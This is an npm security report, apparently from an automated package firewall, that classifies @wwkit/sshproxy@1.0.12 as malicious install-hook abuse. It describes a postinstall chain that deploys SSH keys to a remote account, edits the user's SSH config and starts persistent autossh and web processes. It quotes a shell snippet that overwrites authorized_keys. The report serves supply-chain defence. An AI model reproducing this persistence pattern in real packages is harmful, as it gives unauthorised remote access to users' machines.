--- canonical: "https://firewall.lpm.dev/npm/@wwkit/sshproxy/v/1.0.12" markdown: "https://firewall.lpm.dev/npm/@wwkit/sshproxy/v/1.0.12.md" package: "@wwkit/sshproxy" report_status: "published" title: "@wwkit/sshproxy@1.0.12 npm security report" verdict: "malicious" version: "1.0.12" --- # @wwkit/sshproxy@1.0.12 npm security report > **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document. ## Verdict summary **Blocked & quarantined** — The package can establish persistent access to a configured remote server and alter the installing machine's SSH and network tooling state. - **Verdict:** Malicious - **Product-default install policy:** Block - **Firewall policy:** Matched malicious - **Public report status:** Published - **Threat category:** Install Hook Abuse - **Selected version:** 1.0.12 - **Selected version is latest:** No - **Analysis source:** AI Security Review (lpm-firewall-ai) This is the current Firewall decision for the selected package version, based on the available public evidence. Findings for this version do not establish the status of other versions. AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy. A postinstall hook automatically modifies SSH state, installs remote-key access on configured credentials, and starts persistent tunnel and web processes. These actions occur without an explicit user command. ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Recorded final verdict:** Malicious - **Recorded analysis confidence:** 99.0% - **Started:** 2026-09-16T18:13:26.448Z - **Finished:** 2026-09-16T18:14:24.247Z - **Download time:** 514 ms - **Static scan time:** 167 ms - **AI review time:** 57117 ms - **Total time:** 57799 ms The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs. ## Security analysis ### Published attack-surface review - **Summary:** A postinstall hook automatically modifies SSH state, installs remote-key access on configured credentials, and starts persistent tunnel and web processes. These actions occur without an explicit user command. - **Trigger:** npm installation - **Impact:** The package can establish persistent access to a configured remote server and alter the installing machine's SSH and network tooling state. - **Evidence paths:** package.json, scripts/postinstall.js, src/init.js, src/sshkey.js, src/ProxyManager.js - **Review source:** ai\_review - **Reviewed:** 2026-09-16T18:14:24.247Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** Automatic SSH key deployment, SSH configuration mutation, package-manager execution, and detached process startup. - **Attack narrative:** On installation, the package invokes its tunnel command. That path generates or reuses a local SSH key, authenticates to credentials from its configuration, appends the key to the remote account's authorized\_keys, and writes a DynamicForward SSH configuration. It can install autossh through the operating system package manager and starts an autossh tunnel. The install hook also launches a detached local web-control process and records its PID, creating persistence without a user command. - **Rationale:** The automatic postinstall chain performs broad SSH and system mutations, including remote authorized-key installation and persistent background services. This is concrete install-hook abuse rather than user-invoked SSH tooling. - **Files touched:** ~/.ssh/id\_ed25519, ~/.ssh/authorized\_keys, ~/.ssh/config, ~/.local/share/sshproxy/proxy.pid, ~/.local/share/sshproxy/proxy-web.pid - **Network endpoints:** 127.0.0.1 ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for block:** Installation automatically starts the tunnel and a detached web server., The install path generates or reuses an SSH key, then adds it to the configured remote account., It appends a persistent DynamicForward entry to the user's SSH configuration., It may install autossh through system package managers and starts it in the background. - **Evidence against:** No code sends harvested credentials to a package-controlled endpoint., The web server defaults to loopback; no external listener is hard-coded. ## Affected versions and remediation This report applies to @wwkit/sshproxy@1.0.12. - Avoid installing @wwkit/sshproxy@1.0.12. Remove it from direct dependencies and check your lockfile for transitive copies. - Choose an independently verified alternative or release. This report does not establish that other versions are safe. - If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment. ## Public findings ### 1. High: Install Time Lifecycle Scripts - **Category:** Manifest - **Confidence:** 90.0% - **Path:** package.json - **Public source:** [View source]() Package defines install-time lifecycle scripts. Public source snippet (untrusted): ```json scripts.postinstall = node scripts/postinstall.js ``` ### 2. Medium: Ambiguous Install Lifecycle Script - **Category:** Manifest - **Confidence:** 75.0% - **Path:** package.json - **Public source:** [View source]() Install-time lifecycle script is not statically allowlisted and needs review. Public source snippet (untrusted): ```json scripts.postinstall = node scripts/postinstall.js ``` ### 3. Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 4. Medium: Network - **Category:** Source - **Confidence:** 75.0% Package source references network APIs. ### 5. Medium: Environment Vars - **Category:** Source - **Confidence:** 75.0% Package source references environment variables. ### 6. Low: Filesystem - **Category:** Source - **Confidence:** 70.0% Package source references filesystem APIs. ### 7. Critical: Persistence Backdoor - **Category:** Source - **Confidence:** 90.0% - **Path:** src/sshkey.js - **Public source:** [View source]() Source writes persistence or remote-access backdoor material. Public source snippet (untrusted): ```javascript L2: import path from 'node:path' L3: import { spawnSync } from 'node:child_process' L4: ... L34: `mkdir -p ~/.ssh && chmod 700 ~/.ssh && ` L35: + `echo '${pubKey}' > ~/.ssh/authorized_keys && chmod 600 ~/.ssh/authorized_keys` L36: ) ``` ### 8. Critical: Trigger Reachable Dangerous Capability - **Category:** Source - **Confidence:** 90.0% - **Path:** src/sshkey.js - **Public source:** [View source]() A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior. Public source snippet (untrusted): ```javascript Trigger-reachable chain: manifest.main -> src/index.js -> src/SshCommands.js -> src/sshkey.js L2: import path from 'node:path' L3: import { spawnSync } from 'node:child_process' L4: ... L34: `mkdir -p ~/.ssh && chmod 700 ~/.ssh && ` L35: + `echo '${pubKey}' > ~/.ssh/authorized_keys && chmod 600 ~/.ssh/authorized_keys` L36: ) ``` ### 9. High: Trigger Reachable Persistence - **Category:** Source - **Confidence:** 94.0% - **Path:** src/sshkey.js - **Public source:** [View source]() A manifest entrypoint or package-local install chain reaches persistence behavior. Public source snippet (untrusted): ```javascript Trigger-reachable persistence chain: manifest.main -> src/index.js -> src/SshCommands.js -> src/sshkey.js L2: import path from 'node:path' L3: import { spawnSync } from 'node:child_process' L4: ... L34: `mkdir -p ~/.ssh && chmod 700 ~/.ssh && ` L35: + `echo '${pubKey}' > ~/.ssh/authorized_keys && chmod 600 ~/.ssh/authorized_keys` L36: ) ``` ### 10. Low: High Entropy Strings - **Category:** Supply Chain - **Confidence:** 55.0% Package source contains high-entropy string patterns. ### 11. Low: Url Strings - **Category:** Supply Chain - **Confidence:** 65.0% Package source contains URL literals. ### 12. Medium: Structural Risk Force Deep Review - **Category:** Artifact Inventory - **Confidence:** 100.0% Artifact structure forces deeper review even if the static behavioral verdict is clean. ### 13. High: Known Malware Source Similarity - **Category:** Static - **Confidence:** 97.0% - **Path:** src/OSystem.js - **Public source:** [View source]() Source file is highly similar to a previously finalized malicious package; route for source-aware review. Public source snippet (untrusted): ```javascript matchType = normalized_sha256 matchedPackage = @wwkit/sshproxy@1.0.11 matchedPath = src/OSystem.js matchedIdentity = npm:QHd3a2l0L3NzaHByb3h5:1.0.11 similarity = 1.000 summary = normalized source hash matched finalized malicious source ``` ### 14. High: Known Malware Source Similarity - **Category:** Static - **Confidence:** 97.0% - **Path:** src/ProxyManager.js - **Public source:** [View source]() Source file is highly similar to a previously finalized malicious package; route for source-aware review. Public source snippet (untrusted): ```javascript matchType = normalized_sha256 matchedPackage = @wwkit/sshproxy@1.0.11 matchedPath = src/ProxyManager.js matchedIdentity = npm:QHd3a2l0L3NzaHByb3h5:1.0.11 similarity = 1.000 summary = normalized source hash matched finalized malicious source ``` ### 15. High: Known Malware Source Similarity - **Category:** Static - **Confidence:** 97.0% - **Path:** bin/index.js - **Public source:** [View source]() Source file is highly similar to a previously finalized malicious package; route for source-aware review. Public source snippet (untrusted): ```javascript matchType = normalized_sha256 matchedPackage = @wwkit/sshproxy@1.0.11 matchedPath = bin/index.js matchedIdentity = npm:QHd3a2l0L3NzaHByb3h5:1.0.11 similarity = 1.000 summary = normalized source hash matched finalized malicious source ``` ### 16. High: Known Malware Source Fingerprint Signature - **Category:** Supply Chain - **Confidence:** 94.0% - **Path:** src/OSystem.js - **Public source:** [View source]() Source fingerprint signature matches a known malicious package signature; route for source-aware review. Public source snippet (untrusted): ```javascript matchType = malicious_source_fingerprint_signature signature = 9116449b1da25d48 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = @wwkit/sshproxy@1.0.11 matchedPath = src/OSystem.js matchedIdentity = npm:QHd3a2l0L3NzaHByb3h5:1.0.11 similarity = 1.000 shingleOverlap = 10 summary = package final verdict is malicious ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** Yes - **Published lifecycle scripts:** postinstall - **Dependencies:** 4 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 1 - **Published dependency-graph edges:** 4 ### Published dependency entries - @wwkit/shared 1.0.10 (Dependency) - dotenv ^16.4.5 (Dependency) - json5 ^2.2.3 (Dependency) - ssh2 ^1.16.0 (Dependency) ## Package metadata - **Package:** @wwkit/sshproxy - **Ecosystem:** npm - **Version:** 1.0.12 - **License:** MIT - **Version published:** 2026-09-16T18:07:21.653Z - **Package first seen:** 2026-09-07T15:18:50.832Z - **Package last seen:** 2026-09-27T06:46:45.234Z - **Known versions:** 17 - **Latest version:** 1.0.27 - **Appeal under review:** No - **Description:** SOCKS5 proxy manager (client SSH tunnel / server remote), CLI + web UI - **Author:** bluesliu \ - **Keywords:** socks5, proxy, ssh, autossh, chrome - **Artifact files:** 17 - **Artifact unpacked size:** 75,207 bytes - **Artifact signatures:** 2 - **Attestations:** No ## References - [HTML security report]()